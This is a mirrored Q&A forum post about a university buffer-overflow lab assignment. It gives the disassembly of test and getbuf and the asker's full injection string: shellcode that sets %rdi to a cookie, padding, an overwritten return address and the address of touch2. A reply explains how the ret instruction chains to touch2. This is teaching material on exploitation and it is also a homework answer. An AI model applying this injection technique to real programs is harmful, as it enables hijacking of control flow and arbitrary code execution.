代码之家  ›  专栏  ›  技术社区  ›  adamcasey

缓冲区溢出“攻击”中的操作序列

  •  0
  • adamcasey  · 技术社区  · 7 年前

    这是一个家庭作业,我已经有了答案,但不明白为什么它真的有效?

    我需要做的是获取一个函数来执行代码 touch2() 而不是返回父函数 test() 。还有,我必须让它看起来 触摸2() 就好像我传递了我的cookie id作为它的参数一样。

    C代表 触摸2()

    1.void touch2(unsigned val){
    2.    if (val==cookie){
    3.       //code that says I passed
    4.    }
    4.    else {
    5.       //I failed
    6.    }
    

    的反汇编代码 test

    0000000000401999 <test>:
    401999: 48 83 ec 08             sub    $0x8,%rsp
    40199d: b8 00 00 00 00          mov    $0x0,%eax
    4019a2: e8 31 fe ff ff          callq  4017d8 <getbuf>
    4019a7: 89 c2                   mov    %eax,%edx
    4019a9: be a8 31 40 00          mov    $0x4031a8,%esi
    4019ae: bf 01 00 00 00          mov    $0x1,%edi
    4019b3: b8 00 00 00 00          mov    $0x0,%eax
    4019b8: e8 63 f4 ff ff          callq  400e20 <__printf_chk@plt>
    4019bd: 48 83 c4 08             add    $0x8,%rsp
    4019c1: c3                      retq   
    

    拆卸 getbuf :

    00000000004017d8 <getbuf>:
    4017d8: 48 83 ec 38             sub    $0x38,%rsp
    4017dc: 48 89 e7                mov    %rsp,%rdi
    4017df: e8 7e 02 00 00          callq  401a62 <Gets>
    4017e4: b8 01 00 00 00          mov    $0x1,%eax
    4017e9: 48 83 c4 38             add    $0x38,%rsp
    4017ed: c3                      retq  
    

    以及我的解决方案:

    48 c7 c7 f0 f7 dd 2c c3 /* assembly language inst. to set my rdi register and then return */
    41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
    41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
    d8 20 68 55 00 00 00 00 /* address for %rsp at 'Gets' --> this holds the input when you type in a string */
    1a 18 40 00 00 00 00 00 /* address for touch2 */
    

    我理解在我的解决方案中需要填充,但仍有以下问题:

    1. 如果我将指令更改为set,为什么我的解决方案不起作用 %rdi 除了第一条线以外的任何地方?

    2. 如何 触摸2() 如果 return 的位置 getbuf公司 保留的地址 Gets ?

    我使用gdb获取 获取 :

    (gdb) x/s $rsp
    0x556820d8: "adlkfajsdlkfjaskldjfalksdjflasdkjflkasd" //string I typed into `Gets`
    
    1 回复  |  直到 7 年前
        1
  •  0
  •   Jester    7 年前
    1. 假设您将正确的地址放入堆栈(倒数第二行),它应该可以在任何地方工作。
    2. 您的攻击代码以 RET (the c3 ). 这将从堆栈中获取下一个地址并转到那里。由于您已存储 touch2 在堆栈上,这就是它要去的地方。